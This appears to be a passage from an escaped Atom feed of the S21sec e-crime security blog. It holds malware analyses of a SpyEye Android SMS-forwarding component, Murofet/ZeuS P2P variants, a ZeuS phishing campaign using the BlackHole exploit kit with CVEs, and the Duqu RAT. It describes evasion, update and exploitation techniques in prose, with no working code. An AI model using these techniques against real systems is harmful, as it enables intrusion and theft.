center;font-size:x-small;"&gt;&lt;i&gt;&lt;span&gt;Image 4: Your phone does not require any further security (Spanish)&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center; "&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Despite the fact that many times we have heard the term "SpyEye for Android" incorrectly used, we must be clear that the component that infects mobiles is not a version of SpyEye, as it is not capable of intercepting on-line banking navigation or anything similar. This is a very simple application, able to forward received SMSs to an external server using a simple GET request with the data as parameters. It is a merely a complement, totally unrelated to the malware that infects the computer and it could be used interchangeably with any banking trojan.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;As an example of the application’s simplicity, the encryption of the string containing the URI of the &lt;i&gt;dropzone &lt;/i&gt;consists solely of swapping the values "=", "-" and "q", as can be seen in the following example, very similar to the original URI.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center; "&gt;&lt;img src="http://4.bp.blogspot.com/-tTKrLDcBKrk/TwXmVH3wQJI/AAAAAAAAA4k/EISk685aZbI/s400/Captura5.PNG" border="0" alt="" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 40px; " /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;This means that we are facing a new infection campaign which, from a technical point of view, really adds nothing new, but we must stress that people need to understand this kind of threat to avoid falling into the trap.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Mikel Gastesi&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;S21sec e-crime&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-989383422764738387?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/IqI9AzS2K3E" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/989383422764738387/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=989383422764738387" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/989383422764738387?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/989383422764738387?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/IqI9AzS2K3E/new-spyeye-campaign-with-mobile.html" title="New SpyEye Campaign with mobile complement" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-KqMmbQZ5k5M/TwXmMJUG2OI/AAAAAAAAA30/KzyrCsvY6mM/s72-c/Captura1.PNG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2012/01/new-spyeye-campaign-with-mobile.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUMARXcyfSp7ImA9WhRVE0U.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-2156339412587559789</id><published>2012-01-12T08:47:00.000-08:00</published><updated>2012-01-12T08:57:24.995-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-12T08:57:24.995-08:00</app:edited><title>Murofet: Changing to zlib</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;span style="text-align: left; "&gt;Time passes and in the world of malware new threats continue to emerge, but the established threats still continue to evolve and everything points to this continuing.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In this blog, we will once again talk about Zeus and, in particular, the version known as Murofet.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Around June, we discussed the different branches of Zeus. We have seen how the developers have implemented &lt;a href="http://securityblog.s21sec.com/2011/11/murofet-v20-zeus-p2p.html"&gt;new functionality&lt;/a&gt; such as P2P and domain name generation in what is known as Murofet 2.0.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In one of the latest samples received, we saw how something didn’t quite fit with the usual behaviour. This was investigated in greater depth and we have discovered that certain sections, instead of being compressed with UCL, have changed to being compressed with zlib.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://4.bp.blogspot.com/-vpF-_d_5Jf4/TwWQcnJaHII/AAAAAAAAA3o/dwiSHO21o88/s400/zlib.png" border="0" alt="" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 157px; " /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;&lt;span &gt;Image 1: Use of zlib v 1.2.5&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;Zeus has evolved considerably. Gone is the time when each botnet did not have its own key and encryption consisted of only a simple xor and little more. Recent developments show the creators increasing maturity. They have stopped trying to reinvent the wheel and have been incorporating already existing cryptographic algorithms, much more robust than their predecessors, something completely logical.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;If we focus on the gang behind Murofet, in particular, we can see an ongoing development, distinguishing itself ever more from the official version. The changes that have been introduced, step by step, both at the internal level (in terms of the modification of characteristics in the configuration file’s encryption) and the added characteristics mentioned previously, indicate an in-depth knowledge of the subject.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In addition, we must not forget the detail that the first variant was seen before the source code leaked, which makes it clear that the group behind it have very clear objectives.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We will keep playing.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Jozsef Gegeny and Mikel Gastesi&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;S21sec e-crime&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-2156339412587559789?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/3cD5DI1dAZY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/2156339412587559789/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=2156339412587559789" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/2156339412587559789?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/2156339412587559789?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/3cD5DI1dAZY/murofet-changing-to-zlib.html" title="Murofet: Changing to zlib" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-vpF-_d_5Jf4/TwWQcnJaHII/AAAAAAAAA3o/dwiSHO21o88/s72-c/zlib.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2012/01/murofet-changing-to-zlib.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkMMQn4_fyp7ImA9WhRSGU0.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-3703580003413792726</id><published>2011-11-21T10:27:00.000-08:00</published><updated>2011-11-21T10:34:43.047-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-21T10:34:43.047-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ZeuS" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><title>Murofet v2.0 (ZeuS P2P)</title><content type="html">Following on from the previous &lt;a href="http://securityblog.s21sec.com/2011/11/new-zeus-distribution-campaign-ach.html"&gt;post&lt;/a&gt; about the ZeuS "ACH transaction canceled" distribution campaign, we now turn to look at the distributed binary.&lt;br /&gt;&lt;br /&gt;This is version 2.0 of the Zeus variant known as Murofet. It has come to be named ZeuS P2P, due to some of its characteristics, which make use of this technique.&lt;br /&gt;&lt;br /&gt;Of all recent versions, this is most evolved with many modifications from the original version. It is rumoured that this version could come from original author of ZeuS, as the modifications require a deep understanding of the original work.&lt;br /&gt;&lt;br /&gt;The relationship to the original Murofet can be clearly seen in the configuration files. They are at the same time different from those of the original ZeuS and yet similar to each other. They have new labels in some sections and an easily detectable feature, the ERCP delimiter, as shown in the following image:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-WyYglxMlziY/TsqZAGEZUwI/AAAAAAAAA1Y/L551qDoQ4a0/s1600/ercp.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 77px;" src="http://2.bp.blogspot.com/-WyYglxMlziY/TsqZAGEZUwI/AAAAAAAAA1Y/L551qDoQ4a0/s320/ercp.png" alt="" id="BLOGGER_PHOTO_ID_5677518507162030850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;In this variant the trojan uses a P2P structure to obtain the configuration file, which is an interesting modification. To do this, it uses a few incorporated IPs, firstly, and attempts to communicate with them via UDP:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-MhAelJRVrtg/TsqZNgcrDsI/AAAAAAAAA1k/1xAgvKTLHIs/s1600/ips.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 66px;" src="http://2.bp.blogspot.com/-MhAelJRVrtg/TsqZNgcrDsI/AAAAAAAAA1k/1xAgvKTLHIs/s320/ips.png" alt="" id="BLOGGER_PHOTO_ID_5677518737581477570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Once in communication with the bots belonging to the P2P network, if a newer version is detected, this will be downloaded, using TCP and its own protocol:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-VhC8v9grbGM/TsqZbWyi6EI/AAAAAAAAA1w/7XeYKsv-itI/s1600/protocol.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 168px;" src="http://4.bp.blogspot.com/-VhC8v9grbGM/TsqZbWyi6EI/AAAAAAAAA1w/7XeYKsv-itI/s320/protocol.png" alt="" id="BLOGGER_PHOTO_ID_5677518975507032130" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;If P2P communication fails, it changes to use domain name generation, as the first Murofet version did.&lt;br /&gt;&lt;br /&gt;The storage route, both for the binary and the registry paths, are similar to previous versions, but in this version the configuration file is stored with only RC4 encryption without the XOR layer (also known as VisualEncrypt; logically, because it does not provide any security).&lt;br /&gt;&lt;br /&gt;Similarly, there is evidence that the trojan deletes the RC4 key from memory after each use, in a clear attempt to prevent it from being detected.&lt;br /&gt;&lt;br /&gt;Finally, the C&amp;amp;C server shown in the configuration file appears to be false, in a clear attempt to mislead and delay any analysis.&lt;br /&gt;&lt;br /&gt;In summary, this is a modified version of ZeuS, with very advanced characteristics and changes aimed at protecting itself from automatic analysis of the binary and self preservation against the destruction of the network infrastructure, but without any notable functional changes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Jozsef Gegeny &amp;amp; Santiago Vicente &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;S21sec e-crime&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-3703580003413792726?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/fxb2Y23Hsu0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/3703580003413792726/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=3703580003413792726" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3703580003413792726?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3703580003413792726?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/fxb2Y23Hsu0/murofet-v20-zeus-p2p.html" title="Murofet v2.0 (ZeuS P2P)" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-WyYglxMlziY/TsqZAGEZUwI/AAAAAAAAA1Y/L551qDoQ4a0/s72-c/ercp.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/11/murofet-v20-zeus-p2p.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck8ASX88eCp7ImA9WhRSGU0.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-9017405237417590909</id><published>2011-11-18T04:17:00.000-08:00</published><updated>2011-11-21T10:40:48.170-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-21T10:40:48.170-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PDF" /><category scheme="http://www.blogger.com/atom/ns#" term="ZeuS" /><category scheme="http://www.blogger.com/atom/ns#" term="Trojans" /><category scheme="http://www.blogger.com/atom/ns#" term="Exploit Kits" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="Botnet" /><category scheme="http://www.blogger.com/atom/ns#" term="Vulnerabilities" /><title>New ZeuS distribution campaign: ACH transaction canceled</title><content type="html">&lt;div style="text-align: justify;"&gt;Our team has detected a ZeuS trojan distribution by email campaign that has been running for some days. The malicious emails include a link to a supposed report about a cancelled transaction, which is actually an HTML page that loads Javascript code into the victim’s browser. This code tries to exploit different vulnerabilities in Java, Flash and PDF to install ZeuS 2.0 on the system. This is one of the latest versions of ZeuS which uses P2P as part of its infrastructure.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The subject of the emails detected so far is “ACH transaction canceled” and in the body of the mail there is information about a supposed transaction that has been cancelled. If the victim wants further information then they have to visit a link that contains a report about the transaction:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-IpR7LAsNLzY/TsVSr1M27lI/AAAAAAAAAzs/gQpnEIler7c/s1600/mail.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 411px; height: 133px;" src="http://1.bp.blogspot.com/-IpR7LAsNLzY/TsVSr1M27lI/AAAAAAAAAzs/gQpnEIler7c/s400/mail.png" alt="" id="BLOGGER_PHOTO_ID_5676033818339241554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;For a few seconds the victim sees a screen indicating that they must wait. Meanwhile 4 scripts, stored on different domains are loaded into user’s browser. They are little more than simple redirections towards the site where the code (that will attempt to perform the exploitation) resides.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://4.bp.blogspot.com/-1PJ3HQMmuwI/TsVS_Yz73MI/AAAAAAAAA0c/CoqaYpmWp2c/s1600/scripts.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 103px;" src="http://4.bp.blogspot.com/-1PJ3HQMmuwI/TsVS_Yz73MI/AAAAAAAAA0c/CoqaYpmWp2c/s400/scripts.png" alt="" id="BLOGGER_PHOTO_ID_5676034154315898050" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;There are currently three different domains hosting the malicious content, created on the 2nd, 6th and 9th of November and they resolve to the same IP, located in Russia. This malicious content is obfuscated Javascript code that belongs to the &lt;a href="http://community.websense.com/blogs/securitylabs/pages/black-hole-exploit-kit.aspx"&gt;BlackHole&lt;/a&gt; exploit kit.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-gL2aHlXGonw/TsVS-xrlvMI/AAAAAAAAA0A/MuD5l2Xmt3I/s1600/js.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 237px;" src="http://4.bp.blogspot.com/-gL2aHlXGonw/TsVS-xrlvMI/AAAAAAAAA0A/MuD5l2Xmt3I/s400/js.png" alt="" id="BLOGGER_PHOTO_ID_5676034143811910850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Once the code is “de-obfuscated”, several functions can be seen that attempt to exploit vulnerabilities in various plugins installed in the victim’s browser:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Java (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3552"&gt;CVE-2010-3552&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0886"&gt;CVE-2010-0886&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Flash&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;PDF (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0188"&gt;CVE-2010-0188&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927"&gt;CVE-2009-0927&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4324"&gt;CVE-2009-4324&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2992"&gt;CVE-2008-2992&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659"&gt;CVE-2007-5659&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Media Player&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-hV-cGqN-TeE/TsVS-vCJbEI/AAAAAAAAAz4/zdcdxJu-O7M/s1600/exploiting.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 225px;" src="http://3.bp.blogspot.com/-hV-cGqN-TeE/TsVS-vCJbEI/AAAAAAAAAz4/zdcdxJu-O7M/s400/exploiting.png" alt="" id="BLOGGER_PHOTO_ID_5676034143101217858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;They all use the same (or very similar) shellcode, whose objective is to download and execute the malicious code in question. In the case of the analyzed shellcode, besides executing the binary, stored on the system with a .dll extension, it launches the application &lt;a style="font-style: italic;" href="http://support.microsoft.com/kb/249873"&gt;Regsvr32&lt;/a&gt; with the parameter &lt;span style="font-style: italic;"&gt;-s&lt;/span&gt; (silent mode) to try to register the DLL in the system, although the infection has already taken place (the first call to &lt;span style="font-style: italic;"&gt;WinExec&lt;/span&gt; in the image below).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-7jYTvdzSDB4/TsVS_nuj6bI/AAAAAAAAA0o/wkrBfbRQpiA/s1600/sh.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 192px;" src="http://1.bp.blogspot.com/-7jYTvdzSDB4/TsVS_nuj6bI/AAAAAAAAA0o/wkrBfbRQpiA/s400/sh.png" alt="" id="BLOGGER_PHOTO_ID_5676034158319888818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;As mentioned before, the downloaded binary is a ZeuS (P2P version). In the second part of this post &lt;a href="http://securityblog.s21sec.com/2011/11/murofet-v20-zeus-p2p.html"&gt;we are giving&lt;/a&gt; more details (behaviour, affected entities, etc.). Meanwhile update your applications and don’t click on any suspicious links.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Jose Miguel Esparza&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;S21sec e-crime&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;(&lt;a href="http://eternal-todo.com/"&gt;Blog&lt;/a&gt; / &lt;a href="http://twitter.com/eternaltodo"&gt;Twitter&lt;/a&gt;)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-9017405237417590909?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/q2xevTeW5lg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/9017405237417590909/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=9017405237417590909" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/9017405237417590909?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/9017405237417590909?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/q2xevTeW5lg/new-zeus-distribution-campaign-ach.html" title="New ZeuS distribution campaign: ACH transaction canceled" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-IpR7LAsNLzY/TsVSr1M27lI/AAAAAAAAAzs/gQpnEIler7c/s72-c/mail.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/11/new-zeus-distribution-campaign-ach.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0UDQn8-fCp7ImA9WhdaFk8.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-4789850294741238837</id><published>2011-10-24T07:03:00.000-07:00</published><updated>2011-10-26T02:27:53.154-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-26T02:27:53.154-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="stuxnet" /><category scheme="http://www.blogger.com/atom/ns#" term="RAT" /><category scheme="http://www.blogger.com/atom/ns#" term="threat" /><category scheme="http://www.blogger.com/atom/ns#" term="Trojans" /><category scheme="http://www.blogger.com/atom/ns#" term="new" /><category scheme="http://www.blogger.com/atom/ns#" term="duqu" /><title>DUQU: A new threat</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;General Information&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;According to the report presented by Symantec, this trojan was detected for the first time on the 14th of October and later, on the 7th of September they found samples of the driver uploaded to VirusTotal.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;According to Symantec, this could herald an attack similar to Stuxnet, written by the authors themselves or at least by programmers with access to the source code. However, this Trojan contains code related to industrial control systems.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The main objective of this new threat is to get information about ICS (industrial control systems) manufacturing companies, to help prepare for a subsequent attack against another company.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Duqu is, basically, a RAT (Remote Admin Trojan) that once introduced in a system, functions as a downloader for other trojans. It consists of a Driver, a DLL and a configuration file. These files are installed by another executable that, as yet, has not been identified. This installer registers the driver as a service that must be executed during system startup. Once executed, the driver injects the DLL into the process services.exe and if the injection is made correctly, the DLL extracts other components that are themselves then injected into other processes.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Duqu uses a valid digital certificate that was revoked on the 14th of October. It also waits 15 minutes before activating, once it arrives on a new machine (probably to avoid being detected in a sandbox). It is designed to automatically remove itself after 36 days.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;img src="http://4.bp.blogspot.com/-w1NcyTpucSw/TqVwncgPAWI/AAAAAAAAAzg/zOcQMxhGrT0/s400/image002.jpg" alt="" id="BLOGGER_PHOTO_ID_5667059529084240226" style="margin: 0px auto 10px; text-align: justify; display: block; cursor: pointer; width: 269px; height: 382px;" border="0" /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;McAfee’s theory is different. They argue that Duqu is being used to steal certificates from CAs in Europe, Africa and Asia, to afterwards be used for signing malicious code.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;A Summary of Behaviour&lt;/b&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 238);"&gt;&lt;/span&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The malware opens a back-door in the infected system which allows the attackers to obtain the following information from the compromised system:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;A list of the processes currently executing, the details of the user’s account and domain information.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Names of the drives and related information, such as shared drives.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Screen captures.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Network information (routing tables, shared objects etc.).&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Key strokes (Keylogger).&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Names of all open windows.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;A list of shared resources.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Exploration of files in all drives, including removable drives.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;List of all machines in the domain (through NetServerEnum)&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Name of the current module, PID, session ID, Windows directory, Temp directory.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Operating System version, including if it is 64-bit or not.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Information about network adapters.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Information about local time, including the time zone.&lt;br 